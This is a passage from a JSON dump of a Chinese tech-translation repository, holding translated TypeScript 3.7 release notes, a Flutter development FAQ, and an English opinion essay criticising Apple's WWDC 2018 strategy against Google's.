AccessDeniedError(\"User is not an admin\");\n    }\n}\n```\n\n在这里，我们忘记了调用 `isAdministrator`，该代码将错误地允许非管理员用户编辑配置！\n\n在 TypeScript 3.7 中，这会被标识为可能的错误：\n\n```ts\nfunction doAdminThing(user: User) {\n    if (user.isAdministrator) {\n    //  ~~~~~~~~~~~~~~~~~~~~\n    // 错误！这个条件将始终返回 true，因为这个函数定义是一直存在的\n    //      你的意思是调用它吗？\n```\n\n这个检查是一项重大更改，但是由于这个原因，检查非常保守。仅在 `if` 条件中才会产生此错误，并且如果 `strictNullChecks` 关闭或之后在 `if` 中调用此函数或者属性是可选的，将不会产生错误：\n\n```ts\ninterface User {\n    isAdministrator(): boolean;\n    notify(): void;\n    doNotDisturb?(): boolean;\n}\n\nfunction issueNotification(user: User) {\n    if (user.doNotDisturb) {\n        // OK，属性是可选的\n    }\n    if (user.notify) {\n        // OK，调用了这个方法\n        user.notify();\n    }\n}\n```\n\n如果你打算在不调用函数的情况下对其进行测试，则可以将其定义更正为 `undefined`/`null`，或者使用 `!!`，编写和 `if (!!user.isAdministrator)` 类似的代码，表明强制是有意为之的。\n\n非常感谢 GitHub 用户 [@jwbay](https://github.com/jwbay)，他主动创建了[概念验证](https://github.com/microsoft/TypeScript/pull/32802)，并持续为我们提供[最新的版本](https://github.com/microsoft/TypeScript/pull/33178)。\n\n## TypeScript 文件中的 `// @ts-nocheck`\n\nTypeScript 3.7 允许我们在 TypeScript 文件的顶部添加 `// @ts-nocheck` 注释来禁用语义检查。从历史上看，这个注释只有在 `checkJs` 存在时，才在 JavaScript 源文件中受到重用，但我们已经扩展了对 TypeScript 文件的支持，以使所有用户的迁移更加容易。\n\n## 分号格式化选项\n\n由于 JavaScript 的自动分号插入（ASI）规则，TypeScript 的内置格式化程序现在支持在分号结尾可选的位置插入和删除分号。该设置现在在 [Visual Studio Code Insiders](https://code.visualstudio.com/insiders/) 中可用，可以在 Visual Studio 16.4 Preview 2 中的“工具选项”菜单中找到它。\n\n![VS Code 中新的分号格式化选项](https://devblogs.microsoft.com/typescript/wp-content/uploads/sites/11/2019/10/semicolons-options-3.7.png)\n\n选择“插入”或“删除”的值还会影响自动导入的格式、提取的类型以及 TypeScript 服务提供的其它生成的代码。将设置保存为默认值 “ignore” 会使生成的代码与当前文件中检测到的分号首选项相匹配。\n\n## 重大变更\n\n### DOM 变更\n\n[在 `lib.dom.d.ts` 中的类型已更新](https://github.com/microsoft/TypeScript/pull/33627)。这些更改是和可空性相关的大部分正确性更改，但是影响大小最终取决于你的代码库。\n\n### 函数为真检查\n\n如上所述，当在 `if` 语句条件内存在函数，且看起来似乎没有被调用时，TypeScript 现在会报错。在 `if` 条件中检查函数类型时，将产生错误，除非满足以下任何条件：\n\n* 检查值来自可选属性\n* `strictNullChecks` 被禁用\n* 该函数稍后在 `if` 中被调用\n\n### 本地和导入类型声明现在会发生冲突\n\n之前由于存在 bug，TypeScript 允许以下构造：\n\n```ts\n// ./someOtherModule.ts\ninterface SomeType {\n    y: string;\n}\n\n// ./myModule.ts\nimport { SomeType } from \"./someOtherModule\";\nexport interface SomeType {\n    x: number;\n}\n\nfunction fn(arg: SomeType) {\n    console.log(arg.x); // 错误！'SomeType' 上不存在 'x'\n}\n```\n\n在这里，`SomeType` 似乎起源于 `import` 声明和本地的 `interface` 声明。也许令人惊讶的是，在模块内部，`SomeType` 只是引用了被 `import` 的定义，而本地声明的 `SomeType` 仅在从另一个文件导入时才可用。这非常令人困惑，我们对极少数这种情况的代码进行的野蛮审查表明，开发人员通常认为正在发生一些不同的事情。\n\n在 TypeScript 3.7 中，[现在可以正确地将其标识为重复标识符错误](https://github.com/microsoft/TypeScript/pull/31231)。正确的解决方案取决于作者的初衷，并应逐案解决。通常，命名冲突是无意的，最好的解决方法是重命名导入的类型。如果要扩展导入的类型，则应编写适当的模块进行扩展。\n\n## 下一步\n\nTypeScript 3.7 的最终版本将在 11 月初发布，在那之前的几周将发布候选版本。我们希望您能试用一下 Beta 版，并让我们知道它工作的如何。如果您有任何建议或遇到任何问题，[请尽情前往问题跟踪页面并提出新问题](https://github.com/microsoft/TypeScript/issues/new/choose)！\n\nHappy Hacking!\n\n—— Daniel Rosenwasser 和 TypeScript 团队\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/answering-questions-on-flutter-app-development.md",
    "content": "> - 原文地址：[Answering Questions on Flutter App Development](https://medium.com/@dev.n/answering-questions-on-flutter-app-development-6d50eb7223f3)\n> - 原文作者：[Deven Joshi](https://medium.com/@dev.n?source=post_header_lockup)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/answering-questions-on-flutter-app-development.md](https://github.com/xitu/gold-miner/blob/master/TODO1/answering-questions-on-flutter-app-development.md)\n> - 译者：[YueYong](https://github.com/YueYongDev)\n> - 校对者：[zx-Zhu](https://github.com/zx-Zhu)\n\n# 回答有关 Flutter App 开发的问题\n\n![](https://cdn-images-1.medium.com/max/800/1*lMa5iiFWt33MxXUN7t9k6Q.png)\n\n通过我的讲座和研讨会在与很多学生和开发人员亲自交流后，我意识到他们中很多人都对 Flutter 和应用程序开发有共同的问题，甚至还有误解。因此我决定去写一篇文章来解释这些普遍的疑惑。注意，这篇文章旨在解释一些问题，而不是对每个方面的详细表述。为简洁起见，我可能没有涉及到一些例外情况。请注意，Flutter 本身也有一个针对各种背景下的常问问题页面 [flutter.io](https://flutter.io/)，在这里我将更多地关注我经常看到的问题。虽然其中一些也包含在 Flutter 常见问题解答中，但是我还是尝试着去给出我的观点。\n\n#### 布局文件在哪里？/ 为什么 Flutter 没有布局文件？\n\n在 Android 框架中，我们将 Activity 分为布局和代码。因此，我们需要引用视图以在 Java 中使用它们。（当然 Kotlin 可以避免这种情况。）布局文件本身用 XML 编写，包含 Views 和 ViewGroups。\n\nFlutter 使用一种全新的方法，而不是视图，**使用 Widget**。在 Android 中，View 就是布局的一个组件，但在 Flutter 中，Widget 几乎就是一切。从按钮到布局结构，所有的这些都是一个 Widget。他在这里的优势是**可定制性**。想象一下 Android 中的一个按钮。它具有文本等属性，可让你向按钮添加文本。但 Flutter 中的按钮不会将标题作为字符串，而是另一个 widget。这意味着，**在按钮内部，您可以拥有文本，图像，图标以及您可以想象的任何内容**，并且不会破坏布局约束。这也让你可以很容易地制作自定义 Widget，而在 Android 中制作自定义 view 是一件相当困难的事情。\n\n#### 拖放不比在代码中进行布局更容易吗？\n\n在某些方面，这是事实。但 Flutter 社区中的很多人都更喜欢代码方式，但这并不意味着拖放无法实现。如果你完全喜欢拖放，那么 Flutter Studio 是我推荐的一个很棒的资源，它可以通过拖放帮助你生成布局。这是一个让我印象深刻的工具，很想知道它将来会如何发展。\n\n链接:  [https://flutterstudio.app](https://flutterstudio.app)\n\n#### Flutter 是否像浏览器一样工作？/ 它与基于 WebView 的应用程序有何不同？\n\n简单地回答这个问题：**为 WebView 编写的代码或类似运行的应用程序必须经过多个层才能最终执行。**从本质上讲，Flutter 通过**编译到原生 ARM** 代码来实现这两个平台上的执行。“混合”应用程序缓慢，缓慢，与它们运行的平台看起来不同。Flutter 应用程序的运行速度远远超过混合应用程序。此外，使用插件访问本机组件和传感器要比使用无法充分利用其平台的 WebView 更容易。\n\n#### 为什么 Flutter 项目中有 Android 和 iOS 文件夹？\n\nFlutter项目中有三个主要文件夹：lib、android 和 ios 。'lib' 负责处理你的 Dart 文件。Android 和 iOS 文件夹用于在各自的平台上实际构建应用程序，并在其上运行 Dart 文件。它们还可以帮助您为项目添加权限和特定于平台的功能。当您运行 Flutter 项目时，它会根据运行的模拟器或设备进行构建，使用其中的文件夹执行 Gradle 或 XCode 构建。**简而言之，这些文件夹为 Flutter 代码的运行成为一个完整的 APP 奠定了基础。**\n\n#### 为什么我的 Flutter 这么大？\n\n如果你运行 Flutter 应用程序，你知道它很快。非常**快**。它是如何做到的？在构建应用程序时，它**实际上用到了所有资源文件**，而不是仅使用特定的资源文件。为什么这有帮助？因为如果我将图标从一个更改为另一个，则不必完全重建应用程序。这就是 Flutter 调试版本如此之大的原因。创建发布版本时，只会获取所需的资源文件，并且我们会获得更多习惯的大小。Flutter 应用程序仍然比 Android 应用程序略大，但它相当小，加上 Flutter 团队一直在寻找减少应用程序大小的方法。\n\n#### **如果我是编程新手并且我想从移动开发开始，我应该从 Flutter 开始吗？**\n\n这有两部分答案。\n\n1. 对于相同的页面，Flutter 非常适合编码并且代码比 Android 或 iOS 应用程序少得多。因此对于大多数应用程序，我认为不会出现重大问题。\n2. 您需要记住的一件事是 Flutter 还依赖于 Android 和 iOS 项目，你至少需要熟悉那些项目结构。如果您想编写任何原生代码，你肯定需要在任一平台或两个平台上都有经验。\n\n我的个人意见是学习 Android / iOS 一两个月，然后再开始学习 Flutter。\n\n#### Packages 和 plugins 是什么？\n\nPackages 允许您将新的工具或功能导入你的应用程序。Packages 和 plugins 之间有一点区别。Packages 通常是新的组件或纯粹在 Dart 中编写的代码，而 plugins 允许更多功能在设备上使用原生代码。通常在 DartPub 上，Packages 和 plugins 都被称为包，并且只有在创建新包时才明确提到区别。\n\n#### 什么是 pubspec.yaml 文件，它有什么作用？\n\nPubspec.yaml 允许你定义应用依赖的包，声明你的资源文件，如图片，音频，视频等。它还允许你为你的应用设置约束。对于 Android 开发人员来说，这大致类似于 build.gradle 文件，但两者之间的差异也很明显。\n\n#### 为什么第一个 Flutter 应用程序构建需要这么长时间？\n\n首次构建 Flutter 应用程序时，会**构建特定于设备的 APK 或 IPA文件**。因为要用到 Gradle 和 XCode 用于构建文件，需要时间。下次重新启动或热重新加载应用程序时，Flutter 实际上会在现有应用程序之上修补更改，从而实现快速刷新。\n\n**注意：**热重载或重启所做的更改不会设备 APK 或 IPA 文件中保存。要确保你的应用在设备上完成所有更改，请考虑停止并重新运行该应用。\n\n#### State 是什么意思？什么是 setState()？\n\n**简单来说，“State” 是 widget 变量值的集合。** 任何像计数器，文本等一样可以改变的东西都可以成为 State 的一部分。**想象一个柜台应用程序，主要的动态是计数器计数。计数更改时，需要刷新屏幕以显示新值。** setState() 本质上是一种告诉应用程序使用新值刷新和重建屏幕的方法。\n\n#### 什么是有状态和无状态小部件？\n\n太长了，简单的说：允许你刷新屏幕的 Widget是一个有状态小部件。反之则是无状态的。\n\n详细地说，具有可以更改的内容的动态窗口小部件应该是有状态的 Widget。无状态 Widget 只能在参数更改时更改内容，因此需要在窗口小部件层次结构中的位置点之上完成。包含静态内容的屏幕或窗口小部件应该是无状态窗口小部件，但要更改内容，需要是有状态的。\n\n#### 如何处理 Flutter 代码中的缩进和结构？\n\nAndroid Studio 提供了一些工具，可以更轻松地构建 Flutter 代码。两个主要的方法是：\n\n1. **Alt + Enter/ Command + Enter**：这使你可以轻松地在复杂的层次结构中包装和删除窗口小部件以及交换窗口小部件。要使用此功能，只需将光标指向小部件声明，然后按键即可为您提供一些选项。这种智能的感觉有时像天赐之物。\n2. **DartFMT**：dartfmt 格式化您的代码以保持干净的层次结构和缩进。在你不小心移动几个括号后，它使您的代码更漂亮。\n\n#### 为什么我们将函数传递给小部件？\n\n我们将一个函数传递给一个小部件，主要是说“当事情发生时调用这个函数”。函数是 Dart 中的第一类对象，可以作为参数传递给其他函数。使用 Android（<Java 8） 等接口的回调有太多的样板代码用于简单的回调。\n\n**Java 回调：**\n\n```\nbutton.setOnClickListener(new View.OnClickListener() {\n    @override\n    public void onClick(View view) {\n      // Do something here\n    }\n  }\n);\n```\n\n（请注意，这只是用于设置侦听器的代码。定义按钮需要单独的 XML 代码。）\n\n**Dart equivalent：**\n\n```\nFlatButton(\n  onPressed: () {\n    // Do something here\n  }\n)\n```\n\n（Dart同时进行声明以及设置回调。）\n\n这变得更加整洁，并帮助我们避免不必要的复杂化。\n\n#### 什么是 ScopedModel / BLoC 模式？\n\nScopedModel 和 BLoC（业务逻辑组件）是常见的 Flutter 应用程序架构模式，可帮助**将业务逻辑与 UI 代码分离，并使用更少的有状态 widget。** 有[更好的资源](https://medium.com/flutter-community/let-me-help-you-to-understand-and-choose-a-state-management-solution-for-your-app-9ffeac834ee3)来学习这些，我不认为有理由在几行中解释它们。\n\n我希望这篇文章能够消除一些疑问，并且我将尽力更新我遇到的常见问题。如果你喜欢这篇文章，请给我一些鼓励，如果你希望我添加其他问题，请务必发表评论。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/apple-has-no-idea-whats-next-so-it-s-just-banging-on-the-same-old-drum.md",
    "content": "> * 原文地址：[Apple has no idea what’s next, so it’s just banging on the same old drum](https://medium.com/@ow/apple-has-no-idea-whats-next-so-it-s-just-banging-on-the-same-old-drum-dcfd0179cf80)\n> * 原文作者：[Owen Williams](Owen Williams)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/apple-has-no-idea-whats-next-so-it-s-just-banging-on-the-same-old-drum.md](https://github.com/xitu/gold-miner/blob/master/TODO1/apple-has-no-idea-whats-next-so-it-s-just-banging-on-the-same-old-drum.md)\n> * 译者：\n> * 校对者：\n\n# Apple has no idea what’s next, so it’s just banging on the same old drum\n\nIf you want to witness a company that’s simultaneously in its prime and losing control over its own narrative, look no further than WWDC, Apple’s second-most splashy event of the year, designed to offer a glimpse of the future.\n\nThe annual developer event is a spectacle that I’ve watched live for almost a decade, but this year was different: it showcased a company that’s lost in the woods, playing the same old hits on repeat, in the same old format.\n\nNot only was it painful to watch, it demonstrated that Apple doesn’t really have a coherent plan, or understanding, of where it should take its core platform, let alone the ones it’s tried to build around it.\n\nIt’s fine to have an off year, but what struck me was how… random it felt, and how little insight or forward thinking there was. Apple’s own platform advantages, company culture, and whatever else, seem to be pigeonholing its trajectory, driving it down a path that looks increasingly dated, and leaving me to wonder if the company is self-aware enough to see the shifting tide before it’s lost at sea.\n\n#### Big, slow, yearly\n\n![](https://cdn-images-1.medium.com/max/1000/1*tIUbwrpHZPbdNPXB569wPQ.png)\n\nApple struggled throughout 2017 to ship flagship features it promised at WWDC 2017, including Airplay 2 and iCloud Messages, delivering them quietly just days before this year’s event.\n\nAlongside a scandal about performance throttling, a series of major security slip-ups, and hardware that shipped without long-touted features, many have loudly asked what’s causing these issues — and why a company with so many engineers is fundamentally failing to ship.\n\nPerformance improvements are arguably the biggest focus of iOS 12. They’ll be welcome for many users, along with several additional improvements: streamlined notifications, a new ‘shortcuts’ feature for custom buttons, usage reporting, group FaceTime, AR updates and a number of other minor improvements to create a major release, iOS 12.\n\nThe company’s other platforms received similar treatment, including macOS. Apple finished dark mode, a feature it [half-introduced](https://9to5mac.com/2014/11/08/yosemite-dark-mode/) all the way back in Yosemite, added basic functionality to Finder, threw in a new way to organize your desktop, and _boom — _there’s your major release, 10.14.\n\nNone of these things are inherently bad — in fact, people have been complaining about the lack of improvements to things like FaceTime for years — but what’s interesting is Apple’s choice to bundle them together as a way to make them look truly meaningful, rather than just fixing many of these issues sooner, in a point release. I’m aware there’s a slew of tiny other fixes and features I haven’t listed here, but that’s my point: it’s a hodgepodge of things that have been neglected over the years after being debuted once and forgotten about.\n\n**Here’s the rub:** Apple could arguably ship notification improvements to iOS users tomorrow in a point release, iOS 11.5, but it won’t. Combining them provides the illusion of progress. Instead of servicing users and giving them features sooner, on a regular basis, Apple chooses to hold back simple functionality longer, for its bottom line.\n\nAs Martin Bryant points out, [Apple may have a timing problem](https://www.getrevue.co/profile/bigrevolution/issues/big-revolution-apple-has-a-timing-problem-117182):\n\n> Yes, Apple needs to take the time to do ‘boring’ optimisation work on iOS, but why build iOS around these big, annual feature bumps and then disappoint people when the bumps aren’t very big?\n\n![](https://cdn-images-1.medium.com/max/1000/1*xyYGoFI-pve4NohGovx0Eg.png)\n\nInterestingly, the narrative here actually doesn’t make sense anymore, either. Every year, Apple takes the time to point out how _dire_ the state of the competition is: Nobody’s Android phones get updates! Android people don’t get any the latest features! Your phones all suck! The reality is different: Android users, regardless of manufacturer, frequently get them sooner than iOS users do, because Google divorced the operating system and core application suite from one another.\n\nGoogle’s approach to unbundling Android has, for the most part, been quietly successful — in an unexpected way. Instead of shipping monolithic feature updates, Google’s applications are now updated via the Play Store, from the clock app to the calculator and even the camera (unless you’re Samsung).\n\nApple has made a yearly ritual out of jabbing competitors for poor update histories, but conveniently omits the reality that improvements to Google Assistant, the built-in web browser, or even just the OS keyboard will reach billions of users in a matter of hours without needing to update the entire phone. [Android’s support libraries](https://developer.android.com/topic/libraries/support-library/) mean developers can target older devices, with new features, regardless of whether or not they received the OS update.\n\nMeanwhile, if you find a bug in the iOS keyboard, or some weird security flaw in Safari’s web view, you hope it gets fixed in the next version of the operating system. Maybe next year, or the year after that. It depends how bad it is, or if Apple is actively maintaining the feature, as to when it’ll get serviced.\n\nDon’t get me wrong, Android has a terrible history of updates that is only now beginning to change, ten years after the fact. Google has made strides with Project Treble, which makes an end-run around the device maker itself, but it’s only in its infancy with new devices picking it up today. That’s not good enough either; but it’s gaining traction _and_ getting things into people’s hands.\n\n![](https://i.loli.net/2018/07/23/5b556d7e1426b.png)\n\nFor each platform update, Apple dangles a carrot. That’s the flagship feature to convince you it’s a Big Update™ worth having immediately. On macOS this year, that’s dark mode, and on iOS, the promise of performance improvements and, _god forbid_, actually decent notification management.\n\nArguably the most interesting segment out of WWDC happens at the very end of the two-hour keynote: [a peek at Project Marzipan](https://www.imore.com/marzipan), a long-term effort to unify the interface framework developers use to build apps for iOS and macOS, which is expected to ship to everyone in 2019.\n\n![](https://cdn-images-1.medium.com/max/2000/1*Ukm9QN-FSM6m8gjZb-bL7g.png)\n\nFrom where I sit, this is an impressive, massive project that doesn’t do much more than play defense against Electron’s continued march on Apple’s territory, threatening to kill native application development altogether. Why build anything native at all, when you can write once, and run everywhere? Anti-Electron fans will run rabid at the idea, but as the technology has become more efficient and introduced lower-level API access, it only makes even more business sense.\n\nMarzipan is an audacious plan to defend against that by making it easier to build cross-platform apps. It’s a genuinely fascinating play with fewer apparent benefits in the short term over just building an Electron app, which addresses an additional billion users, allows developers to use familiar web technology _and_ is truly write-once-run-everywhere.\n\nOver time, Marzipan may win favor with developers, but I’m not convinced it’ll stop web-based technologies swallowing native app development whole, particularly given that both Microsoft _and_ Google have now bet their entire strategies on Progressive Web Applications, and how low the barrier of entry has come as a result of Electron’s success.\n\nMarzipan indicates something bigger, of course, such as an impending shift away from Intel chipsets entirely to some sort of custom Apple ARM-based silicon in — _shock horror — _a productivity form factor. If anything, what will win as a result will be that control, and what it could ship in a end-to-end device: true all-day battery? Always-on LTE with desktop class apps?\n\nIf so, the message is this: lock in with us, develop for our platforms, and we’ll reward you. Don’t, and you’ll be shut out and stuck on the outside.\n\n#### Hey Siri, where’s the vision?\n\n![](https://cdn-images-1.medium.com/max/1000/1*CRkO0VCT6Mh2CFRtbhhfmA.png)\n\nWhat’s clearly missing in all of this is a willingness to take risks, or go for the long view on what’s better than the status quo for Apple’s users. Instead of looking at how phone usage is changing and redesigning the nature of iOS, it’s another year of shoehorning new features into a decade-old shell.\n\nThe new shortcuts feature promises to let users wire up workflows of their dreams, chaining together tasks behind a single button. Yes, this is a great improvement to iOS that addresses a problem without actually improving on the reason anyone needs this in the first place — it’s just glued onto the homescreen that’s responsible for causing the need for it in the first place.\n\nApple could have offered up a way to surface the weather right there, deeply integrated with the lock screen, or calendar events at the top of your home screen along with the icons, but it didn’t. Instead, it slathered what appears to be a UX hack in the shape of a notification, and tries to guess when you want to see it.\n\nGoogle’s own developer conference, just down the street in Mountain View, was held in May and offered a clearer, if poorly highlighted, view of the future: AI is a core part of mobile devices going forward, so we’re beginning to add it everywhere.\n\n![](https://cdn-images-1.medium.com/max/600/1*lTYCJE8xA9-M8G61QkAKsA.gif)\n\nThe Android alternative to Shortcuts, Slices and App Actions, surfaces the device’s best guess at your next action as a deeply integrated interface component, where you can actually see information before actually going further in, or taking an action.\n\nWant a button to order a Lyft? Great, here’s a button embedded within the system’s app tray, with the current estimated price of your ride, which orders it right now with a single tap. Much of this data is crunched on device, just like Apple’s audacious claims to privacy brag about as well, but instead of being a UX hack to add buttons that summon help, the information is already right there, on hand, without opening anything, even Assistant.\n\nGoogle and Apple both anticipate a future in which we use our phones less — time well spent is a core part of this driver — and as a result, it appears Google has spent a lot of time thinking about how AI can help get the right information to the user. The result is the exact button they need at the right time, with relevant information, sans the need to actually go away and do something.\n\nTo facilitate this, Google is willing to rejig the UX of its devices, mess with the sea of icons, and has invested heavily in serendipitous computing with Google Home alongside this, so it can get you there faster regardless of if the phone is in your hand.\n\n![](https://cdn-images-1.medium.com/max/2000/1*eCsl8DddzfF1WJRNk4QfZA.png)\n\nGoogle’s vision of the future of smartphones, mobile operating systems, and the way we’ll interact with devices over the long haul is a coherent, well-told story: get more out of your day, get the devices out of the way. It even has a [fantastic page](https://store.google.com/us/magazine/google_cross_product_experience?hl=en-US) that showcases how its own ecosystem works better, together, than I’ve ever seen explained about Apple’s ecosystem on its own site.\n\nAs for _why_ all of this happens, I suspect it’s a difference in strategy and approach. Apple’s strategy has long been to monetize its existing cash cows as long as it can by throwing out new stuff to see what sticks and doubling down on that, rather than creating any sort of coherent narrative of what the future actually looks like, operating in secrecy until it somehow lands upon it.\n\nIncremental improvement is fine, but there’s a distinct lack of forward-looking, and a whole lot of looking over the fence at what everyone else is doing to bash it instead.\n\n#### Apples, oranges and comparing the two\n\n![](https://cdn-images-1.medium.com/max/1000/1*GXShGcoP70vKsNXCqfWByQ.png)\n\nIt’s easy to compare and contrast Google and Apple because they are very different companies, but what they’re both claiming to do is the same: invent the future, whatever that actually might be.\n\nTheir approaches, however, are increasingly diverging: Apple’s squeezing more out of less, shipping flashy features, and focusing on privacy, while Google and others have pushed further into understanding the user and getting out of their way.\n\nMost of this comes down to business model.\n\nApple’s focus on features by piling them together drives more sales of iPhone, which drives reliable revenue on a yearly basis. Google’s is on advertising and relevance to the user, which doesn’t depend on a particular feature or thing to tout, it just needs you to love using its tools (and not mind advertising).\n\nApple’s entire strategy over the last two decades has pivoted around the exploitation of a product line until something new comes along, then rinse and repeat. This is framed around improving your life and often actually does, even if that is by proxy. I’d argue that the company’s vision of the future isn’t to enrich, or drive progress, but to squeeze as much revenue as possible out of slick, well-designed and marketed ideas. The products it builds, the cycles they’re released in and the way that Apple’s entire software cycle works reflects this.\n\nAn example of the manifestation of this is perhaps HomePod’s requirement to have a locally available iPhone to do anything interesting, leaving it crippled without one, and Animoji’s debut only to be locked away in Messages instead of somewhere like the camera.\n\n![](https://cdn-images-1.medium.com/max/1000/1*qf_K81yBsB-b2yJ9explpw.png)\n\nGoogle, a latecomer in the game, has the luxury — and peril — of not depending on phone revenue, so it can risk it all and get weird, since it’s not fundamentally critical to the company’s continued trajectory. Microsoft has done the same, now finding itself the underdog, risked it all and [moved to an ‘OS-as-a-service’ model](https://docs.microsoft.com/en-us/windows/deployment/update/waas-overview) in which it ships features when they’re ready instead of waiting for flashy releases.\n\nApple, on the other hand, begins and ends with the iPhone today, the rest flows from there. It can’t just rip up the foundation on which its revenue exists, and Tim Cook hasn’t shown a flair for doing so. iOS is too valuable to go away and tear down to just reimagine it for fun, so it’s the status quo, with experiments like HomePod and AirPods on the side, where it _can_ get weird and sometimes wonderful. That’s fine, because Apple has plenty of cash lying around, but it’s interesting how limiting the approach can become.\n\nAs we hurtle toward peak smartphone, the cracks here are beginning to show because Apple don’t _have_ the next big thing yet — that we know of, naturally — and it’s taking a long time to get here. We’re essentially watching the bottom of the metaphorical tube of toothpaste being squeezed, while others are trying to figure out if maybe the tube should work completely differently.\n\nAR is potentially the next platform, yes, [and it’s clear that Apple is pushing forward on that](https://www.wired.com/story/apple-wwdc-augmented-reality-wearables/%5C) in a big way, so it’s easy to imagine a scenario in which it makes sense to shift precious resources there instead of focusing on iOS which may wind up unimportant in a year or two. I’m not convinced that in the short term, such as the oft-claimed 2020 launch date of an Apple VR/AR headset, that we’ll be headed there in any meaningful capacity. I mean, Magic Leap, a bajillion dollar company building the future of AR showed off its hardware yesterday on Twitch, quipping that “you better not put it in your pocket or it’ll overheat.”\n\nI’m happy to be wrong, and I write this knowing I’ll probably be that guy who [very publically crapped on the iPhone at launch later](http://bgr.com/2015/04/07/original-iphone-reaction-comments/). Apple’s worth a very large amount of money, which is more than enough proof that it’s good at many things, including convincing people to buy a phone every year.\n\n![](https://cdn-images-1.medium.com/max/1000/1*_fmWBe3iuLHDiDezd6PR9g.png)\n\nSo, what if the next platform just doesn’t arrive any time soon? We’re reaching a plateau as computing performance and power improvements level out, and the pace of innovation the iPhone — and all smartphones — relied on to exist is drying up. The software platforms have shifted entirely, like Microsoft’s focus to almost entirely be on enterprise productivity, and Google’s on being available wherever the user is in the ecosystem. They stand poised to benefit, as they offer a growing array of capabilities across the spectrum, from the smart home to a reinvention of human-computer interaction via voice assistants, and the competition further locks down the moats.\n\nIn a new world that’s defined by ambient, intelligent computing, that just does stuff on our behalf and our tools having the context they need about us to be useful, Apple may be out of its depth or simply unwilling to risk making a bold enough bet to go beyond the iPhone.\n\nI think it’s a bit of both, and it’s on full display as unlikely new underdogs emerge. None of this is to say Google, Microsoft or anyone else is any better: they all have their own disadvantages, absurd inconsistencies or weird narratives at times, but a shift certainly _feels_ like it’s happening below the surface, and there’s a window of opportunity in which Google seems to be executing extremely well so far.\n\nYeah, in the end these are all just tools; a way to get things done. Some people like one thing, others like the other.\n\nPeople will always choose whatever helps them get more out of their lives, and what best fits their lifestyle. For years, that default for many has been the iPhone, but nothing is forever. I think people are starting to notice.\n\n* * *\n\n_If you enjoyed this and want more insights into the technology industry, my weekday morning briefing helps you understand what’s worth knowing and why. Use the code_ **_medium-friend_** _at checkout for 40% off the first month. ♥️_\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/applying-styles-based-on-the-user-scroll-position-with-smart-css.md",
